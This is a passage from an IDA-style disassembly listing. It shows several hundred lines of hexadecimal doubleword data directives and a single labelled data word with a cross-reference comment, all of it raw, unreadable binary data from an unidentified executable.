		dd 65D970A8h, 0EEDD5420h, 58117879h, 0C8C828B3h, 0CBE0C84Dh
		dd 44A0A4D8h, 8F00E135h, 89C880FAh, 128BB970h, 0A1A17B2h
		dd 238A668h, 0A92ECC21h, 35499940h, 40EC7492h, 0D792465h
		dd 0B1258442h, 0E44C43CFh, 16902763h, 0F0B10353h, 0A2F2AC0h
		dd 7E80C51h, 61B94420h,	4DDE0E03h, 0D8BA0245h, 582F1C39h
		dd 8C744CC7h, 0CC7C4924h, 34626E12h, 41042056h,	0B2FFC7Ch
		dd 1334D612h, 0D940E4Ah
		dd 0D486FA29h, 4E07A9DCh, 8309F905h, 0AE081650h, 3CAB147Ah
		dd 0E23E09Bh, 4B80B001h, 6F187DB6h, 3D78FD88h, 88862080h
		dd 193AB323h, 34C84300h, 17D1C390h, 0B2EE077Dh,	0D14B1AD7h
		dd 336CEBCDh, 9567243Ch, 3CA6A81Fh, 1FE4202h, 0EE244515h
		dd 5C4280D1h, 7EDC46BEh, 5BD13ED9h, 58619899h, 2DA84289h
		dd 0B37CA833h, 221E46C6h, 1AFE0555h, 0F91847Ch,	5CA043F9h
		dd 4A4579D2h, 0E50CB616h, 0A14C8040h, 0F1A6AB7Dh, 0D00EC7Dh
		dd 47EE71F0h, 6F0929DCh, 4417BBC3h, 56B40034h, 66D28224h
		dd 0CF4D5D01h, 331232Ch, 0C6AF7C4Fh, 2F838BDh, 957C470Eh
		dd 926007CCh, 404CF09Ch, 84144A6Ah, 0BCE8150Eh,	5B5C8C64h
		dd 617B01B7h, 574FD2F6h, 0D065C32h, 0F9EF7D3Ch,	372C5550h
		dd 9F684748h, 2C745214h, 467494F0h, 37B602B7h, 0E2BDE2E6h
		dd 9E907694h, 4746C6DAh, 1BEC10EBh, 4C211F18h, 1F7A8A79h
		dd 0C099FF9Ah, 0CCC14E46h, 4A00F741h, 4C7B2EF6h, 0CB124FBh
		dd 0CAC2D918h, 0C800A771h, 42401DE4h, 0DFC395F6h, 6BC14019h
		dd 0BFAC58F7h, 0CB404C14h, 24E124C0h, 48803011h, 66C6AE7Ch
		dd 55B448Ch, 6E7C4000h,	3F8070D7h, 0E29702E5h, 0C2574917h
		dd 0EE181C58h, 0C5315220h, 0B24F0045h, 7AB5609Ch, 7C00CCF3h
		dd 11A525D8h, 0A6236A6h, 0B30E5AE0h, 47440CCh, 0BB04ED46h
		dd 3A554F39h, 0BEA71E41h, 0D085F1CCh, 0DE1F0D94h, 3C0243A6h
		dd 42F5EBC5h, 79545168h, 75C81801h, 1E122CA0h, 0A31700A4h
		dd 940E20DEh, 48EB5A7Ah, 7B8D6CCh, 85EC1D00h, 7FDFCFCEh
		dd 8FF900BFh, 27F84833h, 0A8AC2EEAh, 0B07C4204h, 0C0A216C6h
		dd 7C19FFC0h, 0DD008704h, 0C89EC6DFh, 303537BBh, 48F972BCh
		dd 0AB01099Fh, 18AA5870h, 5BF8BAD7h, 2B4E8DDh, 733C2A03h
		dd 0FCE13BDCh, 127C30F6h, 80AC048Ch, 0A29DB647h, 7401C10Ch
		dd 68929980h, 5590304Ch, 0F040310Ch, 7DA714CAh,	0F858F0B4h
		dd 0EA19E130h, 0C14EBED9h, 9880285Dh, 1C51CA70h, 0BA480C1Eh
		dd 6E5162F6h, 0E045D8B0h, 3174D402h, 531DC82Ah,	17801B43h
		dd 73440A32h, 0C8FABE07h, 90CCF64Fh, 168B02Eh, 2402B44Ah
		dd 21AB495Dh, 0BD804C90h, 80E5190Eh, 68BE2121h,	0C8721852h
		dd 0D1B54A00h, 0E3FD9FC9h, 0BE1D50C2h, 10B852C3h, 685B3E2h
		dd 0EAB93455h, 38CF60F8h, 6C534F0Ah, 0BE95E1C6h, 0DDA80071h
		dd 0BB85DEB6h, 43009D48h, 0FFA5FBD1h, 512F33CDh, 5C63FDBEh
		dd 40462012h, 8352ED08h, 8A00A276h, 0FB4EFAC8h,	5C19A81Eh
		dd 0F2505842h, 0A8C763FDh, 5FF1DB8Eh, 2C09D9C2h, 453F1390h
		dd 95185060h, 8C407F23h, 68AB544h, 234C9510h, 0A0008150h
		dd 25F5481Bh, 1EC58151h, 0AE6FDB4Eh, 54BB07FCh,	740A192Ah
		dd 266D1150h, 0AF0442CFh, 0D3C082A9h, 0F2BB19Ch, 5D193ABCh
		dd 3CA4082h, 78A90440h,	0F22D3409h, 23B40027h, 0FA1E5F93h
		dd 70449B28h, 0AB005094h, 0D2F00A89h, 251FD6CFh, 744AB4D9h
		dd 4AE51840h, 57C89305h, 0F044E192h, 0BCC73848h, 0BCB482BBh
		dd 46F86AC1h, 7076005Ch, 0AA85DBBEh, 0F10040FCh, 5979DDDh
		dd 937FC4h, 617D3A8Ah, 0BBB9A7CDh, 0C88B58D2h, 5FC069C8h
		dd 7D628679h, 0BEC80E50h, 728254EDh, 2CE06463h,	0E891157Fh
		dd 8C187279h, 9D6CB617h, 85BE984Bh, 8C41E5B4h, 77514CB9h
		dd 1E3F543Ch, 95937484h, 19D840B4h, 5B0230h, 0B59EDB2Eh
		dd 726F8BCAh, 818D543Dh, 65626807h, 0B8420FA8h,	0CABE21C1h
		dd 2CC43DD4h, 3D83441Eh, 2C07013Ch, 0AE3CC888h,	5B465E08h
		dd 7F4A9600h, 5CB0B44Fh, 0F94B906h, 2F937B3h, 0DD2803F0h
		dd 0E9C01C86h, 910E95ABh, 60F477E4h, 1FE5435Bh,	0DCB913DDh
		dd 7D24805Ch, 4B8154FFh, 2ED65829h, 35423B0h, 777B8F6Fh
		dd 0A8518EC2h, 0D9180779h, 0E83BA028h, 3E37F60Ch, 4C4C614Ah
		dd 0B581CC6Bh, 4D8AD34h, 531F4482h, 1E8430E8h, 209E961Ah
		dd 5F468180h, 0B8920E0h, 285D4B5Ah, 52C41445h, 5FD8F863h
		dd 6F527F8Ah, 6D2310A0h, 0D0C0A450h, 9F16E471h,	4A184719h
		dd 0C25BB0ABh, 1E2CF004h, 56910C41h, 0C5692088h, 610764A8h
		dd 6023ACF5h, 422B6600h, 14D4F316h, 0C6788100h,	0F008F921h
		dd 8AB402CFh, 203C4DD1h, 0D8007C64h, 0C0D662A7h, 0EC0F3993h
		dd 0A4900A8h, 0A23F4A30h, 2E04CBF0h, 41564CA9h,	25C46056h
		dd 0AB09755Dh, 8462D6C6h, 16601BC4h, 40212595h,	0E88C00Ah
		dd 3D654595h, 0A9825A18h, 89105ED0h, 7CE28B91h,	346A88C0h
		dd 9FC8C84h, 2118B430h,	440F04C0h, 4CA81F16h, 0D8382031h
		dd 492D18BAh, 4420C42Dh, 28081A34h, 0D9140858h,	81E8BFC0h
		dd 0BB8DA746h, 44443701h, 0C840DB18h, 2483CEF0h, 0EDD8C6E8h
		dd 0BC9C9B3Ch, 570465Eh, 0A8FF5B35h, 0F539CE4h,	78DB0115h
		dd 0DC262900h, 1F01A080h, 179DDA3Bh, 4C64397Ah,	5EE0BC56h
		dd 9000EC46h, 6FC7DF75h, 0AB010DFFh, 5BEB08AAh,	3858F2h
		dd 933CAF1Dh, 0BB88C0B5h, 5F4CC80Ch, 673F0230h,	0C07FDA35h
		dd 0A0C2604Ch, 7BA4CEA0h, 41909140h, 3D1A4D96h,	182E254Ch
		dd 0EFAEE978h, 0CB36C980h, 0C444B4C9h, 0AAC369C0h, 0F9C5D2h
		dd 147DD1D0h, 0B55E7F24h, 0E228E709h, 0D57D8038h, 0B41B86h
		dd 0BA9F2F8h, 7E24EA32h, 5C8D420Eh, 0A0948095h,	1E8EA736h
		dd 99F820BDh, 31F21065h, 0F5B4345Ch, 993D7504h,	5B8022D1h
		dd 3C0EFA0Bh, 908FB267h, 80E1ADE1h, 21B87E93h, 0F8E8D398h
		dd 0BE00D299h, 0C481551Dh, 485A503Ch, 952834C5h, 47EA13A0h
		dd 3E6006AEh, 1E2C18B8h, 0CE08E8A9h, 0E3703C4h,	42E0343Ch
		dd 31E7F7C5h, 80383C48h, 0A249DBE9h, 0B9820031h, 1C55EFFEh
		dd 1A029EFCh, 0F8DF5C65h, 443C679Dh, 0DDC3600Fh, 4D1400ABh
		dd 0CFFB4A5h, 12071ED8h, 776A6EF5h, 0F925360h, 1D089063h
		dd 0F217C2CAh, 0D0C14AA0h, 0FA428CDh, 0B21D9AC9h, 0CCA2AC24h
		dd 753056F2h, 535B069Ch, 60808355h, 27D06D20h, 0A0177F25h
		dd 960046BBh, 0CCFFB6C7h, 0C1195B8h, 420F38B3h,	0EC4008ADh
		dd 39A4AE32h, 3A345848h, 0CA810EABh, 0A8C0D23Ch, 0D789A19h
		dd 0F7A56C54h, 0C1D5F090h, 2452082Fh, 17601A40h, 40232695h
		dd 9B41102h, 0C1950F89h, 6C0C51E8h, 9EDF0520h, 0CF6A4010h
		dd 7602D60Eh, 1DDAC6ECh, 7F2040FDh, 0DB440CEh, 0C495342Ah
		dd 36801E04h, 0C4A81D6Ch, 0D897EA2Dh, 5E800291h, 0A57929A4h
		dd 23BBD92Dh, 0BDD540F0h, 0CB6B6CF0h, 94FA6340h, 25BFD91Dh
		dd 2BCD29B1h, 381A00FAh, 548A5743h, 0A2BA400Ch,	8100530Ah
		dd 0A1DD2D82h, 2B9FA2Bh, 0DE7D549h, 0C0EAC954h,	71E44CE5h
		dd 42D16C60h, 6356BCA1h, 31ECA268h, 52E02083h, 922F9002h
		dd 0E18766E5h, 0EE1740D8h, 0F11131A1h, 9CC2E65Fh, 7B00C0E4h
		dd 0CE990D65h, 0BB6E84h, 67AA58E1h, 0A1F75C9Dh,	0A201AEF0h
		dd 464FCAEEh, 0F2150F83h, 3072B250h, 541255DDh,	0CB6F825h
		dd 9E9A007Bh, 4E148E48h, 472CE032h, 0F96030F8h,	0E2D9F12Fh
		dd 9A300060h, 0A386D222h, 0B30817EDh, 84094573h, 87C9D162h
		dd 2C45E9D8h, 756358E4h, 2BA53780h, 5AF77B00h, 0A24F84CDh
		dd 0D48195E6h, 3EFEC506h, 48A2AC12h, 60B022DEh,	0E425722h
		dd 5DAB4820h, 0C1C0BC14h, 9AA1E65Fh, 0F889B900h, 755BF988h
		dd 8324001Ch, 0ACFFE7D8h, 0B49E2154h, 1C07465Eh, 34440E79h
		dd 0B894FE9Dh, 188BC8Eh, 0D46320C0h, 57C60AAAh,	984DE9Eh
		dd 2041C07Ch, 0FE261878h
		dd 0FB532619h, 2E2B70E4h, 0A60B0A03h, 0E8BE919Ch, 448F0F7h
		dd 0C53D466Bh, 484AC93h, 6DC389F3h, 6FF07CA1h, 0B61C8056h
		dd 81054427h, 42C4280Ch, 23FC2F2Bh, 211FF3h, 65F429B7h
		dd 7C0BD562h, 9A574FD3h, 970C40F8h, 87D9805Dh, 80211513h
		dd 7123EC3Ah, 0C388863Dh, 0FC94BCAh, 6154B67Fh,	182C4BF0h
		dd 423F84B0h, 3873B2CDh, 8EA854E7h, 0FB3A71Fh, 0C1577817h
		dd 285F4C38h, 88F2B598h, 2136B318h, 0F903B5D5h,	9C684941h
		dd 5685EADEh, 6F467674h, 6E08E102h, 10D0EB95h, 206210BEh
		dd 0CA832047h, 300659BAh, 17B2AA40h, 0A7A91020h, 233F00DAh
		dd 0CF3AA086h, 0BBDE3F0Ah, 0EED64B80h, 13640C5Eh, 42214C01h
		dd 0B1253383h, 285C002Ch, 0FE8CF1BCh, 0FB2C1791h, 53F06104h
		dd 94C8E2BAh, 0BB308ECEh, 9FBCE96Bh, 0BC3D4C71h, 0BE790075h
		dd 0E6F05A70h, 9E0AFDD4h, 0A34FB5D7h, 0E530CF1Ah, 606FE4ACh
		dd 0BB121BBh, 0B4F1EB50h, 0A073C8C3h, 2F2AB541h, 40623F4h
		dd 0A89659FDh, 5EAB807Ch, 9C0E226Bh, 395D40E8h,	0E0002DA0h
		dd 61432016h, 0FC64901Ah, 5B372445h, 6E2DE7Ch, 0E922D00Ch
		dd 243E1911h, 80084B20h, 9C25ED4Dh, 4A006B68h, 0FA46590Dh
		dd 974F7540h, 435D3880h, 544A4CE5h, 206C80C8h, 0C60BF711h
		dd 47C20A4Fh, 606A6408h, 17BA88h, 2161D1FCh, 421F27E6h
		dd 62EFC510h, 10F25316h, 0A81EC46Bh, 64503E23h,	0D22BEBBEh
		dd 74C4B368h, 0DECD3901h, 347F71FEh, 0BB7160h, 7535D04h
		dd 0C0806D58h, 0BA5F4302h, 79522744h, 1859D980h, 0A8561CFFh
		dd 8D9280B8h, 0EB1E4347h, 7544B509h, 27DC500Ch,	0F41D3D45h
		dd 5C800C91h, 1827B3D3h, 0D81E6702h, 0A2686B7Ah, 5220A4CCh
		dd 161A7CA0h, 0C7A89Ah,	40B60D80h, 849DBB13h, 9540E070h
		dd 60C25D57h, 7A85550h,	44B340C2h, 18685C7Dh, 0D5CE5085h
		dd 68C05CFCh, 0D057484Ah, 0C094A263h, 8298F140h, 5820CC50h
		dd 481A06CCh, 48D50137h, 3A96C000h, 0BE573EA8h,	0D280DFEBh
		dd 0C634A446h, 0C361A773h, 11543518h, 9FCA3983h, 600C9AB8h
		dd 31414237h, 0B9EF0F36h, 0F909890Ch, 5AD1B059h, 173D8118h
		dd 0B0C101D7h, 141B1C28h, 4BED7461h, 0FC5C2002h, 0D2707280h
		dd 368D24h, 0F14DA368h,	78F9A41Bh, 945B0400h, 0FC49424Ch
		dd 453718E9h, 5F6E390Dh, 0D8BDAE32h, 791079E2h,	18B18F3h
		dd 0C0D7497Bh, 32B31D40h, 0ED5D0080h, 0BACEB62Dh, 0DBF8015Ah
		dd 0D149F712h, 1889EC64h, 0FB048F03h, 4F5B91h, 47E9EBD1h
		dd 3EA335C9h, 106C919Dh, 4D80D819h, 96ADB62Dh, 7AFB03B0h
		dd 0B895A480h, 0DF82A901h, 1DE1D6Fh, 72D5EE8h, 0EC5003B1h
		dd 0D1047923h, 0B80CA828h, 83B8C56h, 0FD7D804Fh, 4BF4A4Bh
		dd 0F25D09E8h, 0A3446Ch, 0C94CD177h, 0C0343E14h, 7BC52506h
		dd 30544CC2h, 0B46F3F17h, 8D5F400Eh, 0B490C217h, 0A53CB900h
		dd 1FE89017h, 96925C37h, 0A1504B65h, 0C11C09Dh,	0C1A5F280h
		dd 0E90B1798h, 44C2BE16h, 4F11080h, 0C3517C6Fh,	1884200Ch
		dd 90426440h, 743A1220h, 4F8090A7h, 21241CBEh, 0C805D45Ch
		dd 60D48755h, 0E0604885h, 0F30E4126h, 0C1764AF0h, 7F251A41h
		dd 0FA9AD705h, 37973050h, 0C0740728h, 0BD4A1429h, 0FC59B804h
		dd 914400D0h, 5BEE1BD9h, 6D410B8Ah, 40753820h, 2E4AE7BBh
		dd 0BAD0E420h, 1917464h, 39DF5D4Dh, 0F445DCCBh,	8104CF25h
		dd 48BD358Dh, 0B314BCB0h, 5E60AE88h, 0F707B446h, 9E5C3ACEh
		dd 0BEA84513h, 0C2D837C7h, 0A5016884h, 19BDEFC6h, 0FD0C0D82h
		dd 0C8A2F9DBh, 45093C6Eh, 6769E4E8h, 0E0528F23h, 1DEA6BBh
		dd 4351D6EFh, 64618B7Dh, 0C8241FA0h, 465EC829h,	2CE2E59h
		dd 2EEE6E00h
		db 0C4h, 80h
word_505446	dw 4F47h		; DATA XREF: ___:off_435740o
		dd 0C1C09A5h, 1570A0D3h, 20121195h, 1A350051h, 7FE185A5h
		dd 0FCCD1C92h, 5B76402Ch, 18149496h, 77783212h,	7B2FFD05h
		dd 371648E3h, 45ECD84Ah, 0FC684445h, 0F0A0D82Dh, 246326BEh
		dd 2BF56113h, 0ED23CC3Ah, 638F7900h, 7F92EA1h, 40E4CABFh
		dd 986059CDh, 0E32091E9h, 10109D48h, 9907AC12h,	0B9E55E89h
		dd 1F5F97B2h, 43815211h, 6ABAD9E8h, 89D1B84Eh, 7980719Bh
		dd 1F0A1864h, 0C4B36A21h, 0F9A957B4h, 80ED3AF0h, 9CC440B0h
		dd 0C03697h, 0CC3D35Bh,	174249F6h, 0A6E5070Ch, 13F33166h
		dd 7C5FBCC1h, 5E45ED4Ch, 98B50EE0h, 184C9030h, 19F9DD69h
		dd 2184EA7Eh, 0F208FD29h, 0EFE942CAh, 8F78504h,	0B8C25FC1h
		dd 0C34000CAh, 0C48A0A2h, 0FB830B09h, 0CC585F89h, 0EB6740BCh
		dd 36967C2h, 6FC2DAC0h,	0C6AEF080h, 32CF377h, 9DCA015h
		dd 0CDB9468Bh, 71C21099h, 0E0688238h, 2396772h,	0E856B836h
		dd 4F0494ACh, 0E117E3DEh, 0C06E3F70h, 9427A802h, 9441A61Ch
		dd 0B42C2A44h, 0A82DF855h, 0BCB21EBCh, 8D588728h, 412280BEh
		dd 94003C68h, 217B6FE5h, 5F888EBh, 7FC6AFBDh, 8198975Eh
		dd 80379E07h, 85827380h, 55DA8Ah, 0D8304866h, 0A7594AC0h
		dd 0FC422F07h, 0AFC0E779h, 0AF6999Bh, 34EA5BB5h, 3703BECCh
		dd 69C61D81h, 438950C8h, 1130B300h, 519CA1BEh, 1A60017h
		dd 0BDE3443Eh, 0F413D21Fh, 0CF2AEFDh, 0D5594603h, 0CD89BF3h
		dd 0BE1824F0h, 0C929CE07h, 0C061EBB8h, 91103FC1h, 2080431Bh
		dd 5594A864h, 0D5AD00A2h, 0DB941A97h, 8B034A3Dh, 3A57C676h
		dd 23F80BE9h, 0B8A0D320h, 967DFC59h, 89C49300h,	0B2F52B7h
		dd 8C050B0Fh, 0A1837735h, 7AA055CCh, 3B014325h,	0D3F7EEC5h
		dd 89D84F4Eh, 0C44A003Ah, 0E7C77C8Bh, 0B001677h, 0DDBC3EF4h
		dd 703A8275h, 20E260AAh, 0CCCB94FCh, 3978ADF8h,	60DE4C7Bh
		dd 0E319B300h, 1D60726Dh, 0BE4022h, 0D787685Dh,	10072CEBh
		dd 7CF02E74h, 83230DC0h, 1FD60006h, 0F4AB5968h,	0CA00089Ch
		dd 0A3768E80h, 396FCB9Eh, 670306E7h, 0AF9D7F98h, 89826800h
		dd 973CDA8Ch, 3BF1002Ah, 7370BBC7h, 0DD0FD509h,	0C04C1686h
		dd 0B68EEB85h, 0F47F03B4h, 0D9DF8FF8h, 0BBD822B0h, 150048DEh
		dd 3EA958D2h, 0A8650E36h, 0B700138Ch, 7E48A57Fh, 18A6DF3Fh
		dd 0CC319ABEh, 78250614h, 0F993F818h, 0FA4CDD00h, 35E5B9D6h
		dd 0EC29C09Ch, 46A34969h, 6CA04350h, 1F4C8740h,	67EE24h
		dd 0FF2A1CAh, 0B207F947h, 0E07CA4EFh, 0E255BCB0h, 0C3F100C6h
		dd 0C4D5CE90h, 0F0622C3Eh, 30CAC810h, 5611C6BAh, 0B70626EEh
		dd 41E368D5h, 100C9E0Ah, 0FFC304E4h, 0EE11078Ah, 0F8F75311h
		dd 1FBB2C87h, 0C01D84F0h, 0D58D31A2h, 9E0FF508h, 1FC0CB20h
		dd 95F92A06h, 0B0372492h, 265930EEh, 9E00FA08h,	71A87380h
		dd 1E30E884h, 197930Bh,	8DFC3ACAh, 578980E2h, 4AB1EC90h
		dd 0A9C7189Fh, 85C419DFh, 29B49600h, 6114338Bh,	603074E3h
		dd 8DA7219Ah, 7B00EB96h, 0A0EEC104h, 449003B9h,	9365C991h
		dd 6E80A391h, 0C53D08h,	64387719h, 44B0492Eh, 1A7E9505h
		dd 8C2613BCh, 8618F188h, 29B9961Ah, 0C5442480h,	968EA440h
		dd 0D139A55Bh, 79EF0793h, 0ABE2DA0h, 1380A80Ah,	46111840h
		dd 0A6EE0287h, 0FFDCE2FCh, 32211080h, 94C58A05h, 0C4201B93h
		dd 70D7EAh, 0E25B530Bh,	21B0F863h, 7DFDF72Eh, 88E49814h
		dd 797C8009h, 1DFB1833h, 0A38C1700h, 0EA41B915h, 96E9284Eh
		dd 485D46F4h, 0AB843862h, 0F811F42Dh, 1FC2D100h, 0FD5E3A45h
		dd 0F746EC07h, 0A652DAB9h, 0CC80A08Fh, 79CA9Ah,	0D9AC365Dh
		dd 0B4E7CE14h, 957CA200h, 0BABCEF3Bh, 0B128D8B1h, 6C39054Fh
		dd 0B8290368h, 0E0580234h, 0E2539A59h, 84880A82h, 86CC7A92h
		dd 0B10819ABh, 80D8EC3Ah, 0FA228B6Bh, 1C5EF95h,	4EE58887h
		dd 0CAEC96E8h, 836FFC98h, 0A5D32700h, 23CA1D7Dh, 4FDC0090h
		dd 0A094D688h, 8E449199h, 67D9E926h, 0DCF9A4h, 86B55E5Bh
		dd 103342A0h, 30991h, 5E54D021h, 950D5829h, 96DA890Dh
		dd 2042B019h, 0F88331C1h, 0FB4629BAh, 8C6D887Fh, 0F04D963Eh
		dd 94A95918h, 4F40A219h, 0E81FF0FAh, 818E3300h,	21C9166Dh
		dd 0FCAE0Dh, 58552F43h,	33D87C03h, 7A066E75h, 0AAA9EC30h
		dd 73DA3C51h, 844A4201h, 0D4B2D380h, 8BE8533Eh,	672EBE00h
		dd 2D0B02A6h, 610F6E91h, 45D50491h, 0E7834B24h,	6328B038h
		dd 0FB640415h, 87A1548Ah, 0B8C0482Ch, 4684871Fh, 1FB22D5h
		dd 1C1FC1CCh, 0C01D0802h, 44991132h, 0B7805711h, 0BD84861Fh
		dd 2101608Ch, 21FBC17h,	0B78F5504h, 3982039Ch, 46E4449Fh
		dd 968902BBh, 312B29B8h, 92631093h, 97120A96h, 60C40BDEh
		dd 4E16D690h, 8DFDDB00h, 3AEE82FBh, 18B81EB9h, 8F2A0499h
		dd 8C208205h, 85E5930h,	435086BFh, 0E3F662h, 8E5E52CEh
		dd 35AEF400h, 0AFD9BD0Ah, 4178616Eh, 244D670Bh,	644C7E64h
		dd 7DDD8F50h, 0C59AB880h, 2DBE576h, 8CED9DAEh, 8084B5B7h
		dd 9C94C5Ah, 942E00E4h,	0D146ABF4h, 141573A5h, 235CF399h
		dd 5E850F90h, 623086E4h, 0FED227FDh, 39F96E20h,	0D301BE5Dh
		dd 90897D56h, 719DE5C9h, 0CCC206F4h, 3E0011A2h,	205B4CF2h
		dd 33DFF5E0h, 4B08D027h, 0BA00217Bh, 0D79B0F4Ch, 159A8B94h
		dd 84E69691h, 4A82811h,	76DA82AFh, 44180CC8h, 8903610Dh
		dd 0C183E925h, 0BE8023AEh, 5F4C843Bh, 5262C020h, 4CC6DC20h
		dd 889A1578h, 0A500840Eh, 0B0441B42h, 6C00284Eh, 6137D183h
		dd 909DC0B1h, 25E4654h,	84891FBAh, 50F43125h, 1FC3CAACh
		dd 6EC6E901h, 8FFC38ACh, 8400CC22h, 0FEF24428h,	0BE00D141h
		dd 50098883h, 585A1B94h, 0FEF8D011h, 74D7078Ch,	0D07080E0h
		dd 2229435h, 96541C6h, 0A3C500E9h, 4B7B4C4Fh, 32001D1Eh
		dd 0E75D2881h, 30F1AC16h, 0EDA9ADA6h, 1526B9E8h, 0E205B9A4h
		dd 0C419CBD0h, 63C067C0h, 8EF2003Ch, 9B4FF6CAh,	92EE888Ah
		dd 8CD17F26h, 9A467Ch, 0A754D6DEh, 2411CEC8h, 9744FE6Eh
		dd 0E1470076h, 2D4B4209h, 0A8D0DE03h, 0E268E711h, 0CD9D84F9h
		dd 9E9D8881h, 55299712h, 0B644C200h, 5D001C3Dh,	0AA36E922h
		dd 0FC0B7Ah, 0B1EF8F8Ch, 2EED5927h, 947F8100h, 939FD253h
		dd 42F719B3h, 42CD18E6h, 0B63052CCh, 8485111Fh,	87FA88C5h
		dd 511FBF16h, 87AB6BA5h, 87E5F5D6h, 0A1DB8423h,	8BFD27B9h
		dd 87DC826h, 4886F25Eh,	0D540F7C4h, 0BE1F5E5Dh,	0DA3D0F1Fh
		dd 555747C4h, 0E070FCCCh, 0BCCA00E5h, 65B396B4h, 8901D4B7h
		dd 4FD71D66h, 421F58Dh,	8B99858h, 0E820864Ch, 0DB4046C4h
		dd 8EAE4CC1h, 376FCD00h, 0D1E3027Fh, 0E06A0027h, 0B11C6CC0h
		dd 0E63A204Eh, 0BCEC5C9Dh, 0B3008CC5h, 0CA90C162h, 0F8487AD8h
		dd 2EAC7C83h, 609C914Bh, 0D212B304h, 29138E74h,	6804562Dh
		dd 583064D7h, 8623BE5Eh, 0F91168h, 735E51D1h, 0F4AA7671h
		dd 58B91752h, 27C40811h, 0AF45DB60h, 81A5388Fh,	91CC917Fh
		dd 1FB98051h, 99CD8490h, 0BE60CF04h, 0AACBD31Fh, 0ECE86E00h
		dd 4E27E787h, 0B9FC12A5h, 1C3C0205h, 0ACC283B7h, 108FC9Dh
		dd 56EB6310h, 7A12FDE8h, 0FF308898h, 7BB781FCh,	660E1E7Eh
		dd 2A3F87A8h, 0E778C04Fh, 180BCB4Eh, 869CA91h, 4674A40Ch
		dd 3DB0BF7h, 7CCF832Ch,	8EFA073h, 9DFEF3h, 3DAA823Eh, 0BFD852B0h
		dd 704EB900h, 2081D672h, 2B633491h, 48B01478h, 0B401C023h
		dd 0D020594Ch
		dd 0BCDE000Eh, 9602434Ch, 7FE006h, 3D218EE5h, 7CCE860Dh
		dd 0F4BA4498h, 6D800491h, 3AF411F5h, 0D9903841h, 160D8500h
		dd 726A1E02h, 0B0555E12h, 90C808CBh, 0C4CA33C2h, 0C7E90070h
		dd 68CF6774h, 3DF441FBh, 13D78500h, 213B8E5Dh, 6C8607EFh
		dd 3A2C991Eh, 0AB100284h, 0ECA02F1Bh, 7E2E5358h, 0E9E87550h
		dd 0B4110D2Ch, 0F380C391h, 0D820844Ch, 0E10394A7h, 0E0D74CBBh
		dd 2AB776AAh, 2AF0FF74h, 0F40C65h, 7BEF192Dh, 0E23FBDB9h
		dd 3AAE3900h, 6993B1B8h, 0FCB2015Eh, 0D52EC69Bh, 9E59803Eh
		dd 0F23D500Fh, 0A8210589h, 455B9915h, 40ACD9E8h, 0F62C0E8Ch
		dd 0A5013DC8h, 1674C988h, 29BA5779h, 93F35C00h,	0E80E2F02h
		dd 1EAD3F26h, 1FE18704h, 1DA7108Ch, 1F0C15ACh, 1DECABEDh
		dd 0DB024BEBh, 0B139D400h, 0A1C096C9h, 98A76E5Fh, 4B200C58h
		dd 0E21995CAh, 40C29700h, 0A5E19269h, 87201C7Fh, 40901224h
		dd 52BEC7F0h, 8400BA91h, 0B1F84358h, 0CC9E661h,	0E41B93B7h
		dd 0E3000329h, 3857EA9Fh, 2E1F2843h, 15646DC1h,	873FACC0h
		dd 0BC3C2739h, 1C8F4A8Bh, 8800248Bh, 148E9097h,	0E715C400h
		dd 302AE6FDh, 0C032E8F0h, 4522B708h, 1537A19Bh,	0FB4030B8h
		dd 43500Eh, 0A2EB8F2Ch,	5F600F8Eh, 7A3A88B0h, 9FA9079Eh
		dd 7E666FDCh, 0C2316010h, 0A2F30B36h, 0E0870303h, 7AD45720h
		dd 5ABB0090h, 0A94FBE90h, 5000279Eh, 9B0CACCAh,	2A4E1AE3h
		dd 0E4ABA8h, 2132DDBBh,	8EB00667h, 22BCB2Ch, 2069F2Ch
		dd 1329A98Dh, 205721ABh, 1CBA84A0h, 497D4A00h, 47D70C9Fh
		dd 59C8027Ah, 0A9ED5F8Fh, 0E80934E4h, 89E12365h, 3EF4102Eh
		dd 3AC801AAh, 2857B60Dh, 7DBACC35h, 0BB2EF200h,	0FB0B1CEBh
		dd 91BF1C58h, 9F8C80D9h, 0C60966F3h, 276A4E01h,	8AD61E0h
		dd 0BCD82EC9h, 0F0B0B3h, 0DA228EB8h, 814E2521h,	2A0F39EEh
		dd 0C00A53h, 5B120D66h,	96F29Ah, 9111F75Fh, 987B43BCh
		dd 0F04EE33Bh, 61B2F0A8h, 0C3417804h, 30903FC9h, 0EB5CB8h
		dd 71FB3B91h, 0CF828A6Bh, 0D6641600h, 0E08F6D36h, 0CAC91417h
		dd 0D800B413h, 1B6B8D25h, 310073E5h, 8CCBE8E6h,	77C8D168h
		dd 7CA02FCh, 0DB34C1Ah,	15D049Dh, 73FA8256h, 0FCE9C0C3h
		dd 0CD60EE01h, 3F878852h, 54C12981h, 0F0CCF236h, 0BA30820Ah
		dd 0CD583079h, 0CF634071h, 64625000h, 0F1E2B595h, 0C8B407C2h
		dd 0C35A83BFh, 7003B27Fh, 4F5733ABh, 1E72D088h,	0FA0100B6h
		dd 523E1523h, 5F001C76h, 0DC418ED7h, 0ED1B22Ch,	7C47697Eh
		dd 5D830121h, 53781002h, 0E016FA21h, 90C4300Fh,	0E0768CD1h
		dd 8D182D60h, 64925BCDh, 217CD0C9h, 68E55583h, 0F3A4983h
		dd 410091CEh, 0FB6487F1h, 988289h, 18BD266Eh, 0A3609C7h
		dd 0DA90852Eh, 0D10F4930h, 9339C08Ah, 74E1887Fh, 7118BE1Dh
		dd 73688146h, 90C90641h, 11729884h, 4907D9EAh, 6C41C5BAh
		dd 9C90BCB0h, 0ECBE000Eh, 78DE1F0Ah, 0B4A8E673h, 500017B0h
		dd 0B3D59B09h, 712E16h,	9D8C5338h, 4E694A0Dh, 0EFB178A0h
		dd 58D40682h, 0ED612A19h, 56FC01C0h, 0CA606A7Bh, 8C95FCECh
		dd 0F5140300h, 2EF364A8h, 0E3DFC36h, 0ECA4A62Dh, 0FAAEB1E0h
		dd 6E0F9FB4h, 47A7E53Bh, 188C3725h, 9A5416F4h, 680E0A32h
		dd 4613D820h, 52EBC08Bh, 2BF93DACh, 2C39AD80h, 0B7BB2217h
		dd 0F87CA9EEh, 23574300h, 495C662Eh, 0ACDE06F9h, 3853307Eh
		dd 4E61208Eh, 5CD64980h, 21142004h, 5B00B033h, 0ADA03C2Ah
		dd 75C265Ah, 129BB866h,	9AEF70D9h, 0EC01B127h, 34F0A677h
		dd 3456AD5Ch, 806C5408h, 0E418460Fh, 4D00A03Eh,	4C17FC81h
		dd 0E00B462Bh, 870BCFAAh, 0FF2EE6A4h, 0E5565C4h, 17254480h
